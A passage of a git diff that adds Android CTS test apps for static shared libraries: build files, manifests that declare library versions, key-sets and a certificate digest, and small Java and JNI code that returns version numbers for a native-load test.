+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+        package="android.os.lib.provider"
+        android:versionCode="4"
+        android:versionName="2.0">
+    <application android:hasCode="false">
+        <static-library android:name="foo.bar.lib" android:version="2"/>
+    </application>
+    <key-sets>
+        <key-set android:name="keySetA" >
+            <public-key android:name="keyA"
+                android:value="MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAwf5zJblvYSB7Ym7or/7GggAAu7mp7RrykPJsXhod8doFhVT5s7eF3A4MCE55vvANP7HvwMw2b+T6qx7Pq0VJtbbSDtlBHBtIc47Pjq0CsDg590BUcgKp7PdJ9J6UVgtzDnV6cGEpXmSag3sY+lqiW04ytPhCVwzYTWGdYe9+TIl47cBrveRfLOlGrcuFQe+zCTmDFqzBKCRHK9b7l5PDWvXXyg65Uu/MBUA/TZWO0fEqOlxZG/nn6DUKQLhPdmJRXWJ3WqMNMhJGD+nKtkmdX703xRqmg4h+6g0S7M9Y3IQ2NUGyw05AYzCguHB/Mv6uVIiW659wpbyb45TgKG3UhQIDAQAB">
+            </public-key>
+        </key-set>
+        <upgrade-key-set android:name="keySetA"/>
+    </key-sets>
+</manifest>
diff --git a/hostsidetests/os/test-apps/StaticSharedLibProviderApp3/Android.mk b/hostsidetests/os/test-apps/StaticSharedLibProviderApp3/Android.mk
new file mode 100644
index 0000000..0be0049
--- /dev/null
+++ b/hostsidetests/os/test-apps/StaticSharedLibProviderApp3/Android.mk
@@ -0,0 +1,33 @@
+#
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests
+
+LOCAL_PACKAGE_NAME := CtsStaticSharedLibProviderApp3
+
+LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/keysets/cts-keyset-test-b
+
+LOCAL_COMPATIBILITY_SUITE := cts
+
+LOCAL_AAPT_FLAGS := --shared-lib
+
+LOCAL_EXPORT_PACKAGE_RESOURCES := true
+
+include $(BUILD_CTS_SUPPORT_PACKAGE)
+
diff --git a/hostsidetests/os/test-apps/StaticSharedLibProviderApp3/AndroidManifest.xml b/hostsidetests/os/test-apps/StaticSharedLibProviderApp3/AndroidManifest.xml
new file mode 100755
index 0000000..274b30b
--- /dev/null
+++ b/hostsidetests/os/test-apps/StaticSharedLibProviderApp3/AndroidManifest.xml
@@ -0,0 +1,25 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="android.os.lib.provider"
+          android:versionCode="3"
+          android:versionName="3.0">
+    <application android:hasCode="false">
+        <static-library android:name="foo.bar.lib" android:version="3"/>
+    </application>
+</manifest>
diff --git a/hostsidetests/os/test-apps/StaticSharedLibProviderApp4/Android.mk b/hostsidetests/os/test-apps/StaticSharedLibProviderApp4/Android.mk
new file mode 100644
index 0000000..e5becb5
--- /dev/null
+++ b/hostsidetests/os/test-apps/StaticSharedLibProviderApp4/Android.mk
@@ -0,0 +1,36 @@
+#
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+LOCAL_PACKAGE_NAME := CtsStaticSharedLibProviderApp4
+
+LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/keysets/cts-keyset-test-a
+
+LOCAL_COMPATIBILITY_SUITE := cts
+
+LOCAL_PROGUARD_ENABLED := disabled
+
+LOCAL_AAPT_FLAGS := --shared-lib
+
+LOCAL_EXPORT_PACKAGE_RESOURCES := true
+
+include $(BUILD_CTS_SUPPORT_PACKAGE)
\ No newline at end of file
diff --git a/hostsidetests/os/test-apps/StaticSharedLibProviderApp4/AndroidManifest.xml b/hostsidetests/os/test-apps/StaticSharedLibProviderApp4/AndroidManifest.xml
new file mode 100755
index 0000000..4d8beb0
--- /dev/null
+++ b/hostsidetests/os/test-apps/StaticSharedLibProviderApp4/AndroidManifest.xml
@@ -0,0 +1,25 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+        package="android.os.lib.provider"
+        android:versionCode="5"
+        android:versionName="5.0">
+    <application>
+        <static-library android:name="foo.bar.lib" android:version="5"/>
+    </application>
+</manifest>
diff --git a/hostsidetests/os/test-apps/StaticSharedLibProviderApp4/res/values/integers.xml b/hostsidetests/os/test-apps/StaticSharedLibProviderApp4/res/values/integers.xml
new file mode 100644
index 0000000..c8dda9c
--- /dev/null
+++ b/hostsidetests/os/test-apps/StaticSharedLibProviderApp4/res/values/integers.xml
@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2016 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<resources>
+    <integer name="version">5</integer>
+</resources>
diff --git a/hostsidetests/os/test-apps/StaticSharedLibProviderApp4/src/android/os/lib/provider/StaticSharedLib.java b/hostsidetests/os/test-apps/StaticSharedLibProviderApp4/src/android/os/lib/provider/StaticSharedLib.java
new file mode 100644
index 0000000..35e6e69
--- /dev/null
+++ b/hostsidetests/os/test-apps/StaticSharedLibProviderApp4/src/android/os/lib/provider/StaticSharedLib.java
@@ -0,0 +1,25 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.os.lib.provider;
+
+import android.content.Context;
+
+public class StaticSharedLib {
+    public static int getVersion(Context context) {
+        return context.getResources().getInteger(android.os.lib.provider.R.integer.version);
+    }
+}
diff --git a/hostsidetests/os/test-apps/StaticSharedLibProviderApp5/Android.mk b/hostsidetests/os/test-apps/StaticSharedLibProviderApp5/Android.mk
new file mode 100644
index 0000000..bfe894a
--- /dev/null
+++ b/hostsidetests/os/test-apps/StaticSharedLibProviderApp5/Android.mk
@@ -0,0 +1,35 @@
+#
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests
+
+LOCAL_SDK_VERSION := current
+
+LOCAL_PACKAGE_NAME := CtsStaticSharedLibProviderApp5
+
+LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/keysets/cts-keyset-test-b
+
+LOCAL_COMPATIBILITY_SUITE := cts
+
+LOCAL_AAPT_FLAGS := --shared-lib
+
+LOCAL_EXPORT_PACKAGE_RESOURCES := true
+
+include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/os/test-apps/StaticSharedLibProviderApp5/AndroidManifest.xml b/hostsidetests/os/test-apps/StaticSharedLibProviderApp5/AndroidManifest.xml
new file mode 100755
index 0000000..404a0fa
--- /dev/null
+++ b/hostsidetests/os/test-apps/StaticSharedLibProviderApp5/AndroidManifest.xml
@@ -0,0 +1,25 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+        package="android.os.lib.provider"
+        android:versionCode="1"
+        android:versionName="1.0">
+    <application android:hasCode="false">
+        <static-library android:name="android.os.lib.provider_2" android:version="1"/>
+    </application>
+</manifest>
diff --git a/hostsidetests/os/test-apps/StaticSharedLibProviderApp6/Android.mk b/hostsidetests/os/test-apps/StaticSharedLibProviderApp6/Android.mk
new file mode 100644
index 0000000..335cce9
--- /dev/null
+++ b/hostsidetests/os/test-apps/StaticSharedLibProviderApp6/Android.mk
@@ -0,0 +1,35 @@
+#
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests
+
+LOCAL_SDK_VERSION := current
+
+LOCAL_PACKAGE_NAME := CtsStaticSharedLibProviderApp6
+
+LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/keysets/cts-keyset-test-b
+
+LOCAL_COMPATIBILITY_SUITE := cts
+
+LOCAL_AAPT_FLAGS := --shared-lib
+
+LOCAL_EXPORT_PACKAGE_RESOURCES := true
+
+include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/os/test-apps/StaticSharedLibProviderApp6/AndroidManifest.xml b/hostsidetests/os/test-apps/StaticSharedLibProviderApp6/AndroidManifest.xml
new file mode 100755
index 0000000..7619998
--- /dev/null
+++ b/hostsidetests/os/test-apps/StaticSharedLibProviderApp6/AndroidManifest.xml
@@ -0,0 +1,25 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+        package="android.os.lib.provider"
+        android:versionCode="2"
+        android:versionName="2.0">
+    <application android:hasCode="false">
+        <static-library android:name="android.os.lib.provider_2" android:version="2"/>
+    </application>
+</manifest>
diff --git a/hostsidetests/os/test-apps/StaticSharedLibProviderAppRecursive/Android.mk b/hostsidetests/os/test-apps/StaticSharedLibProviderAppRecursive/Android.mk
new file mode 100644
index 0000000..5058191
--- /dev/null
+++ b/hostsidetests/os/test-apps/StaticSharedLibProviderAppRecursive/Android.mk
@@ -0,0 +1,37 @@
+#
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+LOCAL_PACKAGE_NAME := CtsStaticSharedLibProviderRecursive
+
+LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/keysets/cts-keyset-test-b
+
+LOCAL_COMPATIBILITY_SUITE := cts
+
+LOCAL_PROGUARD_ENABLED := disabled
+
+LOCAL_AAPT_FLAGS := --shared-lib
+
+LOCAL_EXPORT_PACKAGE_RESOURCES := true
+
+include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/os/test-apps/StaticSharedLibProviderAppRecursive/AndroidManifest.xml b/hostsidetests/os/test-apps/StaticSharedLibProviderAppRecursive/AndroidManifest.xml
new file mode 100755
index 0000000..ea39d4d
--- /dev/null
+++ b/hostsidetests/os/test-apps/StaticSharedLibProviderAppRecursive/AndroidManifest.xml
@@ -0,0 +1,25 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+        package="android.os.lib.provider.recursive"
+        android:versionCode="1"
+        android:versionName="1.0">
+    <application>
+        <static-library android:name="foo.bar.lib.recursive" android:version="6"/>
+    </application>
+</manifest>
diff --git a/hostsidetests/os/test-apps/StaticSharedLibProviderAppRecursive/res/values/integers.xml b/hostsidetests/os/test-apps/StaticSharedLibProviderAppRecursive/res/values/integers.xml
new file mode 100644
index 0000000..cb837f1
--- /dev/null
+++ b/hostsidetests/os/test-apps/StaticSharedLibProviderAppRecursive/res/values/integers.xml
@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<resources>
+    <integer name="version">2</integer>
+</resources>
diff --git a/hostsidetests/os/test-apps/StaticSharedLibProviderAppRecursive/src/android/os/lib/provider/recursive/StaticSharedLibRecursive.java b/hostsidetests/os/test-apps/StaticSharedLibProviderAppRecursive/src/android/os/lib/provider/recursive/StaticSharedLibRecursive.java
new file mode 100644
index 0000000..85a3205
--- /dev/null
+++ b/hostsidetests/os/test-apps/StaticSharedLibProviderAppRecursive/src/android/os/lib/provider/recursive/StaticSharedLibRecursive.java
@@ -0,0 +1,26 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.os.lib.provider.recursive;
+
+import android.content.Context;
+
+public class StaticSharedLibRecursive {
+    public static int getVersionRecursive(Context context) {
+        return context.getResources().getInteger(
+                android.os.lib.provider.recursive.R.integer.version);
+    }
+}
diff --git a/hostsidetests/os/test-apps/StaticSharedNativeLibConsumer/Android.mk b/hostsidetests/os/test-apps/StaticSharedNativeLibConsumer/Android.mk
new file mode 100644
index 0000000..da53850
--- /dev/null
+++ b/hostsidetests/os/test-apps/StaticSharedNativeLibConsumer/Android.mk
@@ -0,0 +1,64 @@
+#
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    android-support-test
+
+LOCAL_JNI_SHARED_LIBRARIES := libstaticsharednativelibconsumerjni
+
+LOCAL_PACKAGE_NAME := CtsStaticSharedNativeLibConsumer
+
+LOCAL_MULTILIB := both
+
+LOCAL_COMPATIBILITY_SUITE := cts
+
+include $(BUILD_CTS_SUPPORT_PACKAGE)
+
+#########################################################################
+# Build JNI Shared Library
+#########################################################################
+
+LOCAL_PATH:= $(LOCAL_PATH)/jni
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests
+
+LOCAL_CFLAGS := -Wall -Wextra -Werror
+
+LOCAL_SRC_FILES := $(call all-cpp-files-under)
+
+LOCAL_SHARED_LIBRARIES := liblog \
+    libstaticsharednativelibprovider
+
+LOCAL_CXX_STL := none
+
+LOCAL_C_INCLUDES += \
+    $(JNI_H_INCLUDE) \
+    $(LOCAL_PATH)/../CtsStaticSharedNativeLibProvider/native/version.h
+
+LOCAL_MODULE := libstaticsharednativelibconsumerjni
+
+include $(BUILD_SHARED_LIBRARY)
+
diff --git a/hostsidetests/os/test-apps/StaticSharedNativeLibConsumer/AndroidManifest.xml b/hostsidetests/os/test-apps/StaticSharedNativeLibConsumer/AndroidManifest.xml
new file mode 100755
index 0000000..34c0403
--- /dev/null
+++ b/hostsidetests/os/test-apps/StaticSharedNativeLibConsumer/AndroidManifest.xml
@@ -0,0 +1,36 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+        package="android.os.lib.consumer"
+        android:versionCode="1"
+        android:versionName="1.0">
+
+    <uses-permission android:name="android.permission.REQUEST_INSTALL_PACKAGES"/>
+
+    <application>
+        <uses-static-library
+                android:name="foo.bar.lib"
+                android:version="1"
+                android:certDigest="E4:95:82:FF:3A:0A:A4:C5:58:9F:C5:FE:AA:C6:B7:D6:E7:57:19:9D:D0:C6:74:2D:F7:BF:37:C2:FF:EF:95:F5">
+        </uses-static-library>
+    </application>
+
+    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+            android:targetPackage="android.os.lib.consumer"/>
+
+</manifest>
diff --git a/hostsidetests/os/test-apps/StaticSharedNativeLibConsumer/jni/version.cpp b/hostsidetests/os/test-apps/StaticSharedNativeLibConsumer/jni/version.cpp
new file mode 100644
index 0000000..56835a0
--- /dev/null
+++ b/hostsidetests/os/test-apps/StaticSharedNativeLibConsumer/jni/version.cpp
@@ -0,0 +1,59 @@
+/*
+ * Copyright 2017, The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "jni.h"
+
+#include <utils/Log.h>
+
+#include "../../StaticSharedNativeLibProvider/native/version.h"
+
+#define ARRAY_SIZE(x) (sizeof(x) / sizeof((x)[0]))
+
+static jint android_os_lib_consumer_UseSharedLibraryTest_getVersion(JNIEnv*, jclass) {
+    return StaticSharedLib::android_os_lib_provider_getVersion();
+}
+
+static int registerNativeMethods(JNIEnv* env, const char* className,
+    JNINativeMethod* gMethods, int numMethods) {
+    jclass clazz;
+    clazz = env->FindClass(className);
+    if (clazz == NULL) {
+        ALOGE("Native registration unable to find class '%s'", className);
+        return JNI_FALSE;
+    }
+    if (env->RegisterNatives(clazz, gMethods, numMethods) < 0) {
+        ALOGE("RegisterNatives failed for '%s'", className);
+        return JNI_FALSE;
+    }
+    return JNI_TRUE;
+}
+
+extern "C" jint JNI_OnLoad(JavaVM* vm, void*) {
+    JNIEnv *env;
+    if (vm->GetEnv(reinterpret_cast<void**>(&env), JNI_VERSION_1_6) != JNI_OK) {
+        return -1;
+    }
+
+    static JNINativeMethod gMethods[] = {
+            { "getVersion", "()I", (void*) android_os_lib_consumer_UseSharedLibraryTest_getVersion }
+    };
+
+    registerNativeMethods(env, "android/os/lib/consumer/UseSharedLibraryTest",
+            gMethods, ARRAY_SIZE(gMethods));
+
+    return JNI_VERSION_1_6;
+}
+
diff --git a/hostsidetests/os/test-apps/StaticSharedNativeLibConsumer/src/android/os/lib/consumer/UseSharedLibraryTest.java b/hostsidetests/os/test-apps/StaticSharedNativeLibConsumer/src/android/os/lib/consumer/UseSharedLibraryTest.java
new file mode 100644
index 0000000..20a3d30
--- /dev/null
+++ b/hostsidetests/os/test-apps/StaticSharedNativeLibConsumer/src/android/os/lib/consumer/UseSharedLibraryTest.java
@@ -0,0 +1,37 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.os.lib.consumer;
+
+import static org.junit.Assert.assertSame;
+
+import android.support.test.runner.AndroidJUnit4;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class UseSharedLibraryTest {
+    static {
+        System.loadLibrary("staticsharednativelibconsumerjni");
+    }
+
+    @Test
+    public void testLoadNativeCode() throws Exception {
+        assertSame(1, getVersion());
+    }
+
+    private static native int getVersion();
+}
diff --git a/hostsidetests/os/test-apps/StaticSharedNativeLibProvider/Android.mk b/hostsidetests/os/test-apps/StaticSharedNativeLibProvider/Android.mk
new file mode 100644
index 0000000..7e2753f
--- /dev/null
+++ b/hostsidetests/os/test-apps/StaticSharedNativeLibProvider/Android.mk
@@ -0,0 +1,61 @@
+#
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests
+
+LOCAL_JNI_SHARED_LIBRARIES := libstaticsharednativelibprovider
+
+LOCAL_PACKAGE_NAME := CtsStaticSharedNativeLibProvider
+
+LOCAL_COMPATIBILITY_SUITE := cts
+
+LOCAL_PROGUARD_ENABLED := disabled
+
+LOCAL_AAPT_FLAGS := --shared-lib
+
+LOCAL_EXPORT_PACKAGE_RESOURCES := true
+
+LOCAL_MULTILIB := both
+
+LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/keysets/cts-keyset-test-b
+
+include $(BUILD_CTS_SUPPORT_PACKAGE)
+
+#########################################################################
+# Build Shared Library
+#########################################################################
+
+LOCAL_PATH:= $(LOCAL_PATH)/native
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests
+
+LOCAL_CFLAGS := -Wall -Wextra -Werror
+
+LOCAL_SRC_FILES := $(call all-cpp-files-under)
+
+LOCAL_MODULE := libstaticsharednativelibprovider
+
+LOCAL_C_INCLUDES := $(LOCAL_PATH)/native/version.h
+
+LOCAL_CXX_STL := none
+
+include $(BUILD_SHARED_LIBRARY)
diff --git a/hostsidetests/os/test-apps/StaticSharedNativeLibProvider/AndroidManifest.xml b/hostsidetests/os/test-apps/StaticSharedNativeLibProvider/AndroidManifest.xml
new file mode 100755
index 0000000..0ad054a
--- /dev/null
+++ b/hostsidetests/os/test-apps/StaticSharedNativeLibProvider/AndroidManifest.xml
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+        package="android.os.lib.provider"
+        android:versionCode="1"
+        android:versionName="1.0">
+
+    <application
+        android:multiArch="true"
+        android:hasCode="false">
+        <static-library android:name="foo.bar.lib" android:version="1"/>
+    </application>
+</manifest>
diff --git a/hostsidetests/os/test-apps/StaticSharedNativeLibProvider/native/version.cpp b/hostsidetests/os/test-apps/StaticSharedNativeLibProvider/native/version.cpp
new file mode 100644
index 0000000..b29792d
--- /dev/null
+++ b/hostsidetests/os/test-apps/StaticSharedNativeLibProvider/native/version.cpp
@@ -0,0 +1,23 @@
+/*
+ * Copyright 2017, The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "version.h"
+
+namespace StaticSharedLib {
+    int android_os_lib_provider_getVersion() {
+        return 1;
+    }
+}
